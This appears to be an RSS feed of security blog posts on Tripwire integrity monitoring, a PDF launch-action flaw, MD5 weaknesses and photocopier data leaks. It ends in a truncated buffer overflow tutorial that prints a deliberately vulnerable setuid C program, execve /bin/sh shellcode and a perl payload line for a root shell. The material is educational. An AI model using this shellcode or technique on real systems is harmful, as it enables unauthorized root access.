<span style="color: #666666; font-style: italic;"># &nbsp;JCSecurity Demo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #</span><br />
<span style="color: #666666; font-style: italic;">################################################</span><br />
<span style="color: #7a0874; font-weight: bold;">&#40;</span><br />
rulename = <span style="color: #ff0000;">&quot;FTP Demo Configs&quot;</span>,<br />
<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
<span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>demoFTP &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-<span style="color: #000000; font-weight: bold;">&gt;</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span>ReadOnly<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">recurse</span>=<span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>;<br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span></div></div>
<p>This defines a rule to monitor the directory <span style="color: #008000;">/root/demoFTP</span>, $(ReadOnly) is the property mask and is defined and explained higher in the config (ReadOnly = +pinugtsdbmCM-rlacSH), basically its a very strict rule and stores multiple hashes, file owner information, sizes e.t.c. (recurse=2) tells the rule to recurse to a depth of 2 inside the directory. So a single bit change inside this directory will raise an alert.</p>
<p>In a proper deployment, you would set up rules to monitor all your critical global configs and system binaries, for example: <span style="color: #003366;">/etc /usr/bin /usr/sbin /home</span></p>
<p>Next we have to compile this policy file and initialize the database for the first time.</p>
<div class="codecolorer-container bash geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>tmob sbin<span style="color: #7a0874; font-weight: bold;">&#93;</span> .<span style="color: #000000; font-weight: bold;">/</span>twadmin <span style="color: #660033;">--create-polfile</span> ..<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>twpol.txt<br />
Please enter your site passphrase:<br />
Wrote policy <span style="color: #c20cb9; font-weight: bold;">file</span>: <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>tw.pol</div></div>
<div class="codecolorer-container bash geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>tmob sbin<span style="color: #7a0874; font-weight: bold;">&#93;</span> .<span style="color: #000000; font-weight: bold;">/</span>tripwire <span style="color: #660033;">--init</span><br />
Please enter your <span style="color: #7a0874; font-weight: bold;">local</span> passphrase:<br />
Parsing policy <span style="color: #c20cb9; font-weight: bold;">file</span>: <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>tw.pol<br />
Generating the database...<br />
<span style="color: #000000; font-weight: bold;">***</span> Processing Unix File System <span style="color: #000000; font-weight: bold;">***</span><br />
Wrote database <span style="color: #c20cb9; font-weight: bold;">file</span>: <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>tripwire<span style="color: #000000; font-weight: bold;">/</span>tmob.twd<br />
The database was successfully generated.</div></div>
<p>We now have a secured integrity database with full details of /root/demoFTP <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span style="color: #ff0000;"><span style="text-decoration: underline;"><br />
Running A Scan &amp; Report Generation:</span></span><span style="color: #ff0000;">:</span></p>
<p>First for testing purposes change something in a file inside <span style="color: #008000;">/root/demoFTP</span>, i had a config file inside it and just added some junk to it.</p>
<div class="codecolorer-container bash geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;test&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>demoFTP<span style="color: #000000; font-weight: bold;">/</span>config.txt</div></div>
<p>To check the integrity of the files, simply run &#8216;./tripwire &#8211;check&#8217; this will generate a report file. The generated report should show that the integrity of config.txt has changed.</p>
<p>Here is my report:</p>
<div class="codecolorer-container ini geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000066; font-weight:bold;"><span style="">&#91;</span>root@tmob sbin<span style="">&#93;</span></span># ./tripwire --check<br />
Parsing policy file: /usr/local/etc/tw.pol<br />
*** Processing Unix File System ***<br />
Performing integrity check...<br />
Wrote report file: /usr/local/lib/tripwire/report/tmob-<span style="">20100402</span>-<span style="">140935</span>.twr<br />
<br />
Open Source Tripwire<span style="">&#40;</span>R<span style="">&#41;</span> 2.4.1 Integrity Check Report<br />
<br />
Report generated by: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;root<br />
Report created on: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Fri 02 Apr <span style="">2010</span> <span style="">14</span>:09:<span style="">35</span> BST<br />
Database last updated on: &nbsp; &nbsp; Never<br />
<br />
<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">==============================================================================</span><br />
Report Summary:<br />
<span style="color: #000066; font-weight:bold;">===============================================================================</span><br />
<br />
Host name: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tmob<br />
Host IP address: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;127.0.0.1<br />
Host ID: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;None<br />
Policy file used: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /usr/local/etc/tw.pol<br />
Configuration file used: &nbsp; &nbsp; &nbsp;/usr/local/etc/tw.cfg<br />
Database file used: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /usr/local/lib/tripwire/tmob.twd<br />
Command line used: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;./tripwire --check<br />
<br />
<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">==============================================================================</span><br />
Rule Summary:<br />
<span style="color: #000066; font-weight:bold;">===============================================================================</span><br />
<br />
-------------------------------------------------------------------------------<br />
Section: Unix File System<br />
-------------------------------------------------------------------------------<br />
<br />
Rule Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Severity Level &nbsp; &nbsp;Added &nbsp; &nbsp;Removed &nbsp;Modified<br />
--------- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -------------- &nbsp; &nbsp;----- &nbsp; &nbsp;------- &nbsp;--------<br />
Tripwire Data Files &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">0</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">0</span> &nbsp; &nbsp; &nbsp; &nbsp;<span style="">0</span> &nbsp; &nbsp; &nbsp; &nbsp;<span style="">0</span><br />
Tripwire Binaries &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">0</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">0</span> &nbsp; &nbsp; &nbsp; &nbsp;<span style="">0</span> &nbsp; &nbsp; &nbsp; &nbsp;<span style="">0</span><br />
* FTP Demo Configs &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="">0</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">0</span> &nbsp; &nbsp; &nbsp; &nbsp;<span style="">0</span> &nbsp; &nbsp; &nbsp; &nbsp;<span style="">1</span><br />
<span style="">&#40;</span>/root/demoFTP<span style="">&#41;</span><br />
<br />
Total objects scanned: &nbsp;<span style="">12</span><br />
Total violations found: &nbsp;<span style="">1</span><br />
<br />
<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">==============================================================================</span><br />
Object Summary:<br />
<span style="color: #000066; font-weight:bold;">===============================================================================</span><br />
<br />
-------------------------------------------------------------------------------<br />
# Section: Unix File System<br />
-------------------------------------------------------------------------------<br />
<br />
-------------------------------------------------------------------------------<br />
Rule Name: FTP Demo Configs <span style="">&#40;</span>/root/demoFTP<span style="">&#41;</span><br />
Severity Level: <span style="">0</span><br />
-------------------------------------------------------------------------------<br />
<br />
Modified:<br />
<span style="color: #933;">&quot;/root/demoFTP/config.txt&quot;</span><br />
<br />
<span style="color: #000066; font-weight:bold;">===============================================================================</span><br />
Error Report:<br />
<span style="color: #000066; font-weight:bold;">===============================================================================</span><br />
<br />
No Errors<br />
<br />
-------------------------------------------------------------------------------<br />
*** End of report ***</div></div>
<p>Clearly the report shows the file &#8220;/root/demoFTP/config.txt&#8221; has been modified <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span style="color: #ff0000;"><span style="text-decoration: underline;">Updating &amp; Regular Scans</span></span><span style="color: #ff0000;">:</span></p>
<p>If you change a file under a monitored directory, you will need to update the database. This is done using an interactive check, run &#8220;<span style="color: #008000;">./tripwire &#8211;check &#8211;interactive</span>&#8221; and the report will be loaded up in vi, here you can edit which files will be updated in the database. Quit vi with :wq and the database will be updated.</p>
<p>Checks should be performed at regular intervals, maybe every couple of hours or once a day depending on factors such as server performance and data sensitivity. Best way to do this is by adding &#8220;<span style="color: #008000;">/opt/tripwire/sbin/tripwire  &#8211;check</span>&#8221; <a href="http://www.linuxweblog.com/crotab-tutorial">as a system cron job.</a></p>
<p>Reports will be saved to <span style="color: #008000;">/opt/lib/tripwire/reports</span>, and you can also get e-mail alerts if you configure smtp or sendmail during installation, I wont go into that though.</p>
<p><span style="color: #ff0000;"><span style="text-decoration: underline;">Conclusions</span></span><span style="color: #ff0000;">:</span></p>
<p>So now Tripwire will monitor <span style="color: #008000;">/root/demoFTP/* </span>at regular intervals, by reading the reports/alerts we will know if an attacker breaks in and modifies any of these files, apply this idea system-wide to critical files and you have a strong level of integrity acting as an intrusion detection system <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span style="text-decoration: underline;"><span style="color: #ff0000;">Limitations:</span><br />
</span><br />
Tripwire is reliant on your OS, that is by trusting Tripwire you are trusting your operating system. What can cause mistrust in an OS? A Rootkit! Tripwire reads files when it needs to make an integrity check, if you wanted to you could make a stealth rootkit to hijack the Linux open() syscall, so when the software tries to verify the integrity of an attacker modified file, you redirect the open() call to a hidden old version. Tripwire will ok the hash and be non-the wiser. This attack is discussed <a href="http://www.phrack.com/issues.html?issue=51&amp;id=9">in detail here</a>, implemented in a kernel module.</p>
<p>Another limitation to be aware of is the choice of hash function. If you pick a weak hash like MD4 or MD5 with known collision attacks then you are <a href="http://www.jcsecurity.co.uk/?p=215">asking for trouble</a> <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Use something with decent strength &gt; 256bits and you will be significantly better off (SHA-512, Whirlpool).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jcsecurity.co.uk/?feed=rss2&amp;p=230</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>New PDF Vulnerability/Design Flaw</title>
		<link>http://www.jcsecurity.co.uk/?p=225</link>
		<comments>http://www.jcsecurity.co.uk/?p=225#comments</comments>
		<pubDate>Wed, 31 Mar 2010 14:44:42 +0000</pubDate>
		<dc:creator>Jack</dc:creator>
				<category><![CDATA[Security Fails]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[pdf]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.jcsecurity.co.uk/?p=225</guid>
		<description><![CDATA[This is pretty bad! Still, this is the year of PDF exploits&#8230;
Didier Stevens found the vulnerability/ design flaw. Essentially it allows you to include executable files within a .pdf file, and auto-execute them as soon as the PDF is viewed! What&#8217;s more is that it doesn&#8217;t require javascript to be enabled. The PDF format does [...]]]></description>
			<content:encoded><![CDATA[<p>This is pretty bad! Still, this is the year of PDF exploits&#8230;</p>
<p><a href="http://blog.didierstevens.com/2010/03/29/escape-from-pdf/">Didier Stevens found</a> the vulnerability/ design flaw. Essentially it allows you to include executable files within a .pdf file, and auto-execute them as soon as the PDF is viewed! What&#8217;s more is that it doesn&#8217;t require javascript to be enabled. The PDF format does not allow you to embed binaries, but there is a &#8216;Launch Action&#8217; which can launch a command, Didier has manipulated this to execute embedded data and he has even managed to manipulate the user warning shown below to display a custom message.</p>
<p>Adobe reader requires user interaction to launch the executable, however Foxit Reader just blindly auto executes it with no user intervention! <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><img class="alignnone" title="Adobe Launch Dialog" src="http://j.imagehost.org/0364/Screenshot.png" alt="" width="504" height="268" /></p>
<p><span id="more-225"></span>Modified warning message:</p>
<p><img class="alignnone" title="Modified Warning Message" src="http://j.imagehost.org/0307/20100329-211248.png" alt="" width="478" height="262" /></p>
<p>There is a <a href="http://didierstevens.com/files/data/launch-action-cmd.zip">demo PDF</a> that launches a command prompt, working perfectly on Windows 7 (it wont protect you!). Although he isn&#8217;t disclosing the actual vulnerability till it&#8217;s fixed. I will put money on it being reverse engineered and in the wild within a few days though.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jcsecurity.co.uk/?feed=rss2&amp;p=225</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Current State of the MD5 Hash Function</title>
		<link>http://www.jcsecurity.co.uk/?p=215</link>
		<comments>http://www.jcsecurity.co.uk/?p=215#comments</comments>
		<pubDate>Tue, 30 Mar 2010 23:47:10 +0000</pubDate>
		<dc:creator>Jack</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[md5]]></category>

		<guid isPermaLink="false">http://www.jcsecurity.co.uk/?p=215</guid>
		<description><![CDATA[I&#8217;ve had a couple of people ask me recently if the MD5 hash function is  still ok to use in web applications, so I thought I would write a brief  summary on the subject. They gave excuses such as &#8220;the hash is hidden  away in a database, end users will never see [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve had a couple of people ask me recently if the <a href="http://en.wikipedia.org/wiki/MD5">MD5 hash function</a> is  still ok to use in web applications, so I thought I would write a brief  summary on the subject. They gave excuses such as &#8220;the hash is hidden  away in a database, end users will never see it&#8230;&#8221;, not a good thought  process for security.</p>
<p><span style="color: #008000;"><span style="text-decoration: underline;">Short Answer:</span></span> No, don&#8217;t use it any more.</p>
<p><span style="color: #008000;"><span style="text-decoration: underline;">Long Answer:</span></span></p>
<p><span style="text-decoration: underline;"><span id="more-215"></span><br />
</span></p>
<p>MD5 has various well documented attacks against it, I will explain  these and what they actually mean in terms of its security.</p>
<p>Firstly, and this is often miscited by misinformed &#8217;security people&#8217;,  MD5 still has full preimage resistance (kind of) (If I give you a 128-bit MD5  hash value, there is no algorithmic attack to  find the original input message [ignoring brute force &amp; rainbow  tables]). What it does not have, is collision resistance. There is a  fine difference between the two, but a significant one.</p>
<p><span style="color: #003366;">First  preimage attack:</span> Given a hash <em>h</em>, find a message <em>m</em> such that <em>hash(m) = h</em>.</p>
<p><span style="color: #003366;">Second  preimage attack:</span> Given a fixed message <em>m1</em>, find a  different message <em>m2</em> such  that <em>hash(m2) = hash(m1)</em>.</p>
<p><span style="color: #003366;">Collision  Attack:</span> Find m1 and m2 such that hash(m1) = hash(m2)</p>
<p><span style="color: #003366;">Chosen-prefix  Collision Attack</span><span style="color: #003366;">:</span> Find b1 &amp; b2 such that hash(a1 || b1) =  hash(a2 || b2)</p>
<p>The difference to be aware of here is that in a second preimage  attack, the attacker has to use a fixed input m1. In a collision attack,  he has full control over two arbitrary inputs which makes collision  searching significantly easier. Note that a chosen-prefix attack is at  least as difficult as a classic collision attack, and that a  chosen-prefix attack implies a collision attack but not the reverse.</p>
<p>The first theoretical collision attack came <a href="ftp://ftp.rsasecurity.com/pub/cryptobytes/crypto2n2.pdf">in  1995</a>, these attacks developed slowly with increasing efficiency (<a href="http://www.schneier.com/blog/archives/2005/03/more_hash_funct.html">Schneier  named</a> MD5 broken around this time) and in 2008 there was the famous  <a href="http://www.win.tue.nl/hashclash/rogue-ca/">SSL chosen-prefix  collision attack </a>on MD5 in X.509 certificates. Certificate  Authorities promptly switched from MD5 to a stronger hash function.</p>
<p>The most recent collision attack (I think) is from 2006 in a paper  entitle <a href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.60.3776&amp;rep=rep1&amp;type=pdf">Fast  Collision Attack on MD5</a> which has a complexity of 2^34.1 and can  generate collisions in just a few minutes (with certain restrictions on  the input).</p>
<p>Today, it remains hard however to find the original m given h =  hash(m), this is first preimage resistance. Rainbow tables have some  effect on this statement, but are quickly solved by using a suitably  sized salt (Always Use Salts!! &gt;64bits if possible) such that h =  hash(m || salt). Some would therefore say that it is ok to store  hash(password || salt) in a database, I say why risk it when there are  significantly better alternatives at the cost of a few bits?</p>
<p>A <a href="http://www.springerlink.com/content/d7pm142n58853467/">recent  paper</a> from Eurocrypt 2009 presents a full preimage attack with a  complexity of 2^116.5, completely infeasible. So although a preimage attack exists, it is not possible in practice with this current complexity level.</p>
<p>In my opinion, 128-bit hashes are a little on the small side today.  If you put your paranoid hat on for a second and imagine  worst case brute force power, massive rainbow tables  are most likely in existence (there are many good ones free on the  web!). These tables likely store the hashes of vast dictionaries or  common passwords / languages etc as well as a large percentage of the  arbitrary hash space.</p>
<p>In conclusion, MD5 has &#8216;decent-enough&#8217; preimage resistance but has some serious  collision vulnerabilities which may or may not effect the application  it&#8217;s deployed to. Even though MD5 might be safe under certain scenarios,  unless you absolutely have to use it for reasons such as backwards  compatibility or interoperability don&#8217;t. There is no point and as  Schneier always says &#8220;Attacks never get worse, they only get better&#8221;.  There are numerous alternatives available today, <a href="http://en.wikipedia.org/wiki/Sha256#SHA-2">SHA256</a>, <a href="http://en.wikipedia.org/wiki/Sha256#SHA-2">SHA512</a> and <a href="http://en.wikipedia.org/wiki/Whirlpool_%28cryptography%29">Whirlpool</a> for example are all sensible choices.  <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span style="text-decoration: underline;"><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jcsecurity.co.uk/?feed=rss2&amp;p=215</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Photocopiers &amp; Hard Drives &#8212; Digital Dumpster Diving?</title>
		<link>http://www.jcsecurity.co.uk/?p=184</link>
		<comments>http://www.jcsecurity.co.uk/?p=184#comments</comments>
		<pubDate>Sun, 28 Mar 2010 17:40:59 +0000</pubDate>
		<dc:creator>Jack</dc:creator>
				<category><![CDATA[Interesting Things]]></category>
		<category><![CDATA[Data Leak Prevention]]></category>

		<guid isPermaLink="false">http://www.jcsecurity.co.uk/?p=184</guid>
		<description><![CDATA[Everyone knows you should shred sensitive documents, but did you know modern photocopiers often have inbuilt hard disks that store document scans? I didn&#8217;t!
&#8220;Modern, large, office-type photocopiers are computers. The whole system is controlled by a computer, it has a hard disk. It scans images and they are stored on the disc,&#8221; said Hirst. &#8220;They [...]]]></description>
			<content:encoded><![CDATA[<p>Everyone knows you should shred sensitive documents, but did you know <a href="http://www.thestar.com/news/gta/article/781567--high-tech-copy-machines-a-gold-mine-for-data-thieves">modern photocopiers often have inbuilt hard disks</a> that store document scans? I didn&#8217;t!</p>
<p>&#8220;Modern, large, office-type photocopiers are computers. The whole system is controlled by a computer, it has a hard disk. It scans images and they are stored on the disc,&#8221; said Hirst. &#8220;They are also networked computers, and they have all the same security issues that a computer does, so all the same security issues arise,&#8221;</p>
<p>It&#8217;s similar looking back to the old style fax machines that left document imprints on the carbon rolls. Think twice before throwing out old office equipment or sending it off for repairs.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jcsecurity.co.uk/?feed=rss2&amp;p=184</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Stack Smashing &#8211; [Slightly Tricky] Buffer Overflow Exploitation Tutorial</title>
		<link>http://www.jcsecurity.co.uk/?p=116</link>
		<comments>http://www.jcsecurity.co.uk/?p=116#comments</comments>
		<pubDate>Sun, 28 Mar 2010 03:07:54 +0000</pubDate>
		<dc:creator>Jack</dc:creator>
				<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[Buffer Overflow]]></category>
		<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://www.jcsecurity.co.uk/?p=116</guid>
		<description><![CDATA[Here&#8217;s a (verbose) guide I wrote on exploiting a slightly tricky buffer overflow vulnerability I had to do as part of a challenge. The vulnerability is an off-by-one error in the bounds checking. So it&#8217;s not a completely basic stack smash as there is a form of bounds checking in place, it should be a [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a (verbose) guide I wrote on exploiting a slightly tricky buffer overflow vulnerability I had to do as part of a challenge. The vulnerability is an off-by-one error in the bounds checking. So it&#8217;s not a completely basic stack smash as there is a form of bounds checking in place, it should be a good tutorial/example to learn from if you&#8217;re relatively new to buffer overflows. If you&#8217;re very new to this, you should read Aleph One&#8217;s <a href="http://insecure.org/stf/smashstack.html">famous paper</a>, and know basic memory layouts and terminology.</p>
<p><span style="color: #ff0000;">Tools required:</span> <a href="http://www.archlinux.org">Linux x86</a>, <a href="http://www.perl.org/">perl</a> and <a href="http://www.gnu.org/software/gdb/">GDB</a></p>
<p>Here&#8217;s the simple C program we will exploit (GCC to compile). Assume it will run as root when a standard user executes it (setuid on the executable) and to win we need to get a root shell, from our non-privileged user.</p>
<div class="codecolorer-container c geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">#include &lt;string.h&gt;</span><br />
<span style="color: #339933;">#include &lt;stdio.h&gt;</span><br />
<br />
<span style="color: #993333;">void</span> populateBuffers<span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span>argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #993333;">char</span> buffer1<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">32</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> buffer2<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">32</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> buffer3<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">32</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; strncpy<span style="color: #009900;">&#40;</span>buffer2<span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">31</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; strncpy<span style="color: #009900;">&#40;</span>buffer3<span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>buffer3<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; strcpy<span style="color: #009900;">&#40;</span>buffer1<span style="color: #339933;">,</span> buffer3<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; populateBuffers<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p><span id="more-116"></span></p>
<p>So, here&#8217;s what the populateBuffers() function does and why it&#8217;s vulnerable. Firstly 31 bytes of argment1 are copied into buffer2, this is correct as remember strings must be null terminated, so byte 32 of buffer2 is the null byte 0&#215;00. Next 32 bytes of argument2 are copied into buffer3, this is bad (an off-by-one error) as the full 32 bytes of buffer3 are filled with the 2nd argument (no null byte). Finally buffer3 is copied into buffer1. The stack frame at the start of populateBuffers() is shown bellow with my excellent art skills.</p>
<p><img class="alignnone" title="Starting Stack Frame" src="http://www.jcsecurity.co.uk/pics/startStack.png" alt="" width="198" height="148" /></p>
<p>So, the goal is to overwrite the current instruction pointer (EIP) so it executes some shell code that we inject. Here&#8217;s another diagram showing the stack frame with size information.</p>
<p><img class="alignnone" title="Stack Layout" src="http://www.jcsecurity.co.uk/pics/layout.png" alt="" width="477" height="131" /></p>
<p>Ok, so the line<span style="color: #ff0000;"> strcpy(buffer1, buffer3); <span style="color: #000000;">will copy right from the first byte of buffer3 to the last byte of buffer2 into buffer1. This is because there is no trailing null byte on buffer3. So now we know we can overflow buffer1 by putting a total of 64 bytes in it, we have control of 63 of these bytes. </span></span><br />
The first 32 of the 63 bytes will go into buffer1, then we don&#8217;t care about EBP and the final 4 bytes will overwrite EIP. Our shellcode will go into the first 32 bytes of buffer1, then EIP will point to a small NOP sled right at the start of buffer1. We don&#8217;t care about anything that comes after EIP.</p>
<p>To summarize so far.</p>
<ul>
<li>31 bytes of arg1 go into buffer2 &#8211; Our custom instruction pointer overwrite address will go in here</li>
<li>32 bytes of arg2 go into buffer3 &#8211; Our shellcode and NOPs will go in here</li>
<li>buffer3 (including buffer 2) goes into buffer1 -&gt; EIP is overwritten and our shellcode will now execute</li>
</ul>
<p><span style="text-decoration: underline;">Shellcode:</span> The shellcode im going to use is from <a href="http://milw0rm.com/shellcode/1635">Milw0rm</a> and it&#8217;s 25 bytes long. When executed it will execute /bin/sh and give us a shell <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>25 byte shellcode: <span style="color: #000080;">\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80</span></p>
<p>So buffer3 is 32 bytes, and will house the 25 byte shellcode which means we are left with 7 bytes to use for the NOP sled.</p>
<p><span style="text-decoration: underline;">Construction of arg2:</span></p>
<p>As said, the 2nd argument goes into buffer3 and contains shellcode + nops. It looks as follows using simple perl echoing so it can be entered easily from a shell prompt, 7 NOPs (0&#215;90) and the 25 byte shell code.</p>
<p><span style="color: #ff0000;">$(perl -e &#8216;print &#8220;\x90&#8243;x7;&#8217; -e &#8216;print &#8220;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80&#8243;;&#8217;)</span></p>
<p><span style="color: #003366;"><span style="color: #000000;">buffer3 will now be full, next we do the 1st argument which is more work, we have to find the rough address of our NOP sled to put in the EIP.</span></span></p>
<p><span style="color: #003366;"><span style="color: #000000;"><span style="text-decoration: underline;">Construction of arg1:</span><br />
</span></span></p>
<p>Load up our program in GDB: gdb ./program</p>
<p>and disassemble the populateBuffers() function (im using standard Intel syntax not AT&amp;T):</p>
<div class="codecolorer-container asm geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="asm codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900; font-weight: bold;">&#40;</span>gdb<span style="color: #009900; font-weight: bold;">&#41;</span> disass populateBuffers<br />
